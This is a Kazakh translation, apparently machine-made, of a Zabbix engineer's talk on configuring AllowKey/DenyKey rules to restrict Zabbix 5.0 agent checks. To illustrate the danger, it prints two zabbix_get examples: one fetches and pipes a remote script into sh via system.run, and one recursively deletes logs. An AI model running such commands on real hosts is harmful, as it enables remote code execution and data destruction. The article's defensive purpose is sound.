Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Тихон Усков, Интеграция инженері, Zabbix

Деректер қауіпсіздігі мәселелері

Zabbix 5.0 жүйесінде Zabbix Agent көмегімен жүйелердегі қауіпсіздікті жақсартуға мүмкіндік беретін және ескі параметрді ауыстыратын жаңа мүмкіндік бар. EnableRemoteCommands.

Агентке негізделген жүйелердің қауіпсіздігін жақсарту агенттің ықтимал қауіпті әрекеттердің үлкен санын орындай алатындығынан туындайды.

  • Агент конфигурация файлдарынан, журнал файлдарынан, құпиясөз файлдарынан немесе кез келген басқа файлдардан кез келген дерлік ақпаратты, соның ішінде құпия немесе ықтимал қауіпті ақпаратты жинай алады.

Мысалы, zabbix_get утилитасын пайдалану арқылы пайдаланушылар тізіміне, олардың үй каталогтарына, құпиясөз файлдарына және т.б. қол жеткізуге болады.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

zabbix_get утилитасын пайдаланып деректерге қатынасу

ЕСКЕРІМ. Деректерді агентте сәйкес файлда оқу рұқсаттары болса ғана алуға болады. Бірақ, мысалы, файл /etc/passwd/ барлық пайдаланушылар оқи алады.

  • Агент ықтимал қауіпті пәрмендерді де орындай алады. Мысалы, * пернесіsystem.run[]** желі түйіндерінде кез келген қашықтағы пәрмендерді, соның ішінде агент жағында пәрмендерді орындайтын Zabbix веб-интерфейсінен іске қосылған сценарийлерді қоса, орындауға мүмкіндік береді.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linux жүйесінде агент әдепкі бойынша түбірлік артықшылықтарсыз жұмыс істейді, ал Windows жүйесінде ол Жүйе ретінде қызмет ретінде жұмыс істейді және файлдық жүйеге шектеусіз қатынасы бар. Сәйкесінше, орнатудан кейін Zabbix Agent параметрлеріне өзгерістер енгізілмесе, агент тізілімге, файлдық жүйеге қол жеткізе алады және WMI сұрауларын орындай алады.

Бұрынғы нұсқаларда параметр EnableRemoteCommands=0 тек кілтпен көрсеткіштерді өшіруге рұқсат етіледі *system.run[]** және веб-интерфейсінен іске қосылған сценарийлер, бірақ жеке файлдарға кіруді шектеуге, агентпен орнатылған жеке кілттерге рұқсат беруге немесе өшіруге немесе жеке параметрлерді пайдалануды шектеуге ешқандай мүмкіндік болмады.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Zabbix бағдарламасының бұрынғы нұсқаларында EnableRemoteCommand параметрін пайдалану

AllowKey/DenyKey

Zabbix 5.0 агент жағында көрсеткіштерге рұқсат беру және бас тарту үшін ақ тізімдер мен қара тізімдерді қамтамасыз ету арқылы осындай рұқсатсыз кіруден қорғауға көмектеседі.

Zabbix 5.0-де барлық кілттер, соның ішінде *system.run[]** қосылды және екі жаңа агент конфигурация опциясы қосылды:

AllowKey= — рұқсат етілген тексерулер;

DenyKey = — тыйым салынған тексерулер;

мұнда метатаңбаларды (*) пайдаланатын параметрлері бар негізгі атау үлгісі.

AllowKey және DenyKey пернелері нақты үлгіге негізделген жеке көрсеткіштерге рұқсат беруге немесе бас тартуға мүмкіндік береді. Басқа конфигурация параметрлерінен айырмашылығы, AllowKey/DenyKey параметрлерінің саны шектелмейді. Бұл тексерулер ағашын – орындалатын кілттерді құру арқылы агент жүйеде нақты не істей алатынын нақты анықтауға мүмкіндік береді, мұнда олардың жазылу реті өте маңызды рөл атқарады.

Ережелер тізбегі

Ережелер конфигурация файлына енгізілген ретпен тексеріледі. Кілт бірінші сәйкестікке дейін ережелерге сәйкес тексеріледі және деректер элементінің кілті үлгіге сәйкес келген кезде рұқсат етіледі немесе қабылданбайды. Осыдан кейін ережені тексеру тоқтайды және қалған пернелер еленбейді.

Сондықтан, элемент рұқсат ету және бас тарту ережесіне сәйкес келсе, нәтиже конфигурация файлында қай ереже бірінші болатынына байланысты болады.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Бір үлгі мен кілті бар 2 түрлі ереже vfs.file.size[/tmp/file]

AllowKey/DenyKey пернелерін пайдалану реті:

  1. нақты ережелер,
  2. жалпы ережелер,
  3. тыйым салатын ереже.

Мысалы, белгілі бір қалтадағы файлдарға кіру қажет болса, алдымен оларға кіруге рұқсат беру керек, содан кейін белгіленген рұқсаттарға жатпайтын барлық басқа нәрселерден бас тарту керек. Алдымен бас тарту ережесі пайдаланылса, қалтаға кіруге тыйым салынады.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Дұрыс реттілік

2 утилитаға * арқылы жұмыс істеуге рұқсат беру қажет болсаsystem.run[]**, ал бас тарту ережесі алдымен көрсетіледі, утилиталар іске қосылмайды, себебі бірінші үлгі әрқашан кез келген кілтке сәйкес келеді, ал кейінгі ережелер еленбейді.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Дұрыс емес реттілік

Үлгілер

Негізгі ережелер

Үлгі — қойылмалы таңбалары бар өрнек. Метатаңба (*) белгілі бір орындағы кез келген таңбалардың кез келген санына сәйкес келеді. Метатаңбаларды кілт атауында да, параметрлерде де қолдануға болады. Мысалы, бірінші параметрді мәтінмен қатаң анықтауға болады, және келесісін қойылмалы таңба ретінде көрсетіңіз.

Параметрлер шаршы жақшаға [] алынуы керек.

  • system.run[* - қате
  • vfs.file*.txt] - қате
  • vfs.file.*[*] -дұрыс

Қойылмалы таңбаны қолдану мысалдары.

  1. Кілт атауында және параметрде. Бұл жағдайда кілт параметрі жоқ ұқсас кілтке сәйкес келмейді, өйткені үлгіде біз кілт атауының белгілі бір аяқталуын және белгілі бір параметрлер жиынтығын алғымыз келетінін көрсеттік.
  2. Егер үлгі төртбұрышты жақшаларды қолданбаса, үлгі параметрлері жоқ барлық пернелерге рұқсат береді және көрсетілген параметрді қамтитын барлық пернелерді жоққа шығарады.
  3. Егер кілт толық жазылса және параметрлер қойылмалы таңба ретінде көрсетілсе, ол кез келген ұқсас пернеге кез келген параметрлермен сәйкес келеді және тік жақшасыз кілтке сәйкес келмейді, яғни оған рұқсат етіледі немесе қабылданбайды.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Параметрлерді толтыру ережелері.

  • Параметрлері бар кілт пайдалануға арналған болса, параметрлер конфигурация файлында көрсетілуі керек. Параметрлер метатаңба ретінде көрсетілуі керек. Кез келген файлға қол жеткізуден мұқият бас тарту керек және метрика әртүрлі емле бойынша қандай ақпаратты бере алатынын ескеру қажет - параметрлері бар және жоқ.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Параметрлері бар пернелерді жазу ерекшеліктері

  • Егер кілт параметрлермен көрсетілсе, бірақ параметрлер қосымша болса және метатаңба ретінде көрсетілсе, параметрлері жоқ кілт шешіледі. Мысалы, егер сіз процессордағы жүктеме туралы ақпаратты қабылдауды өшіргіңіз келсе және system.cpu.load[*] пернесін өшіру керектігін көрсетсеңіз, параметрлері жоқ кілт орташа жүктеме мәнін қайтаратынын ұмытпаңыз.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Параметрлерді толтыру ережелері

Ескертулер

реттеу

  • Кейбір ережелерді пайдаланушы өзгерте алмайды, мысалы, табу ережелері немесе агентті автоматты тіркеу ережелері. AllowKey/DenyKey ережелері келесі параметрлерге әсер етпейді:
    - Хост атауы элементі
    - HostMetadataItem
    - HostInterfaceItem

ЕСКЕРІМ. Әкімші кілтті өшірсе, сұралғанда, Zabbix метрика немесе кілт неліктен ' санатына жататыны туралы ақпаратты бермейді.ҚОЛДАУ ЖОҚ'. Қашықтағы пәрмендерді орындауға тыйым салулар туралы ақпарат агент журналының файлдарында да көрсетілмейді. Бұл қауіпсіздік себептеріне байланысты, бірақ егер көрсеткіштер қандай да бір себептермен қолдау көрсетілмейтін санатқа түссе, жөндеуді қиындатуы мүмкін..

  • Сыртқы конфигурация файлдарын қосу үшін (мысалы, алфавиттік ретпен) кез келген нақты ретке сенбеу керек.

Пәрмен жолы утилиталары

Ережелерді орнатқаннан кейін бәрі дұрыс конфигурацияланғанына көз жеткізу керек.

Сіз үш опцияның бірін пайдалана аласыз:

  • Zabbix-ке көрсеткіш қосыңыз.
  • көмегімен тестілеу zabbix_agentd. Опциясы бар Zabbix агенті -басып шығару (-p) конфигурациямен рұқсат етілмегендерден басқа барлық кілттерді (әдепкі бойынша рұқсат етілген) көрсетеді. Және опциямен -тест (-t) тыйым салынған кілт қайтарылады 'Қолдау көрсетілмейтін элемент кілті'.
  • көмегімен тестілеу zabbix_get. Утилита zabbix_get опциясымен -k қайтады'ZBX_NOTSUPPORTED: Белгісіз көрсеткіш'.

Рұқсат ету немесе бас тарту

Сіз файлға кіруден бас тарта аласыз және мысалы, қызметтік бағдарламаны пайдаланып тексере аласыз zabbix_getфайлға кіруге тыйым салынады.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

**

ЕСКЕРІМ. Параметрдегі тырнақшалар еленбейді.

Бұл жағдайда мұндай файлға кіруге басқа жол арқылы рұқсат етілуі мүмкін. Мысалы, егер символдық сілтеме оған апарса.

Zabbix 5.0 жүйесіндегі агенттік көрсеткіштер үшін қара тізім және ақ тізімді қолдау

Көрсетілген ережелерді қолданудың әртүрлі нұсқаларын тексеру, сондай-ақ тыйымдарды айналып өту мүмкіндіктерін ескеру ұсынылады.

Сұрақтар мен жауаптар

сұрақ. Неліктен ережелерді, рұқсаттар мен тыйымдарды сипаттау үшін өз тілі бар осындай күрделі үлгі таңдалды? Неліктен, мысалы, Zabbix қолданатын тұрақты тіркестерді пайдалану мүмкін болмады?

жауап. Бұл regex өнімділігі мәселесі, себебі әдетте бір ғана агент бар және ол көптеген көрсеткіштерді тексереді. Regex - бұл өте ауыр операция және біз мыңдаған көрсеткіштерді осылай тексере алмаймыз. Қойылмалы таңбалар – әмбебап, кеңінен қолданылатын және қарапайым шешім.

сұрақ. Include файлдары алфавиттік ретпен қамтылмаған ба?

жауап. Менің білуімше, ережелерді әртүрлі файлдарға таратсаңыз, ережелердің қолданылатын ретін болжау іс жүзінде мүмкін емес. Мен барлық AllowKey/DenyKey ережелерін бір Include файлында жинауды ұсынамын, себебі олар бір-бірімен өзара әрекеттеседі және осы файлды қосады..

сұрақ. Zabbix 5.0 нұсқасында ' опциясыEnableRemoteCommands=' конфигурация файлында жоқ және тек AllowKey/DenyKey қолжетімді ме?

Жауап. Иә дұрыс.

Назарларыңызға рахмет!

Ақпарат көзі: www.habr.com

пікір қалдыру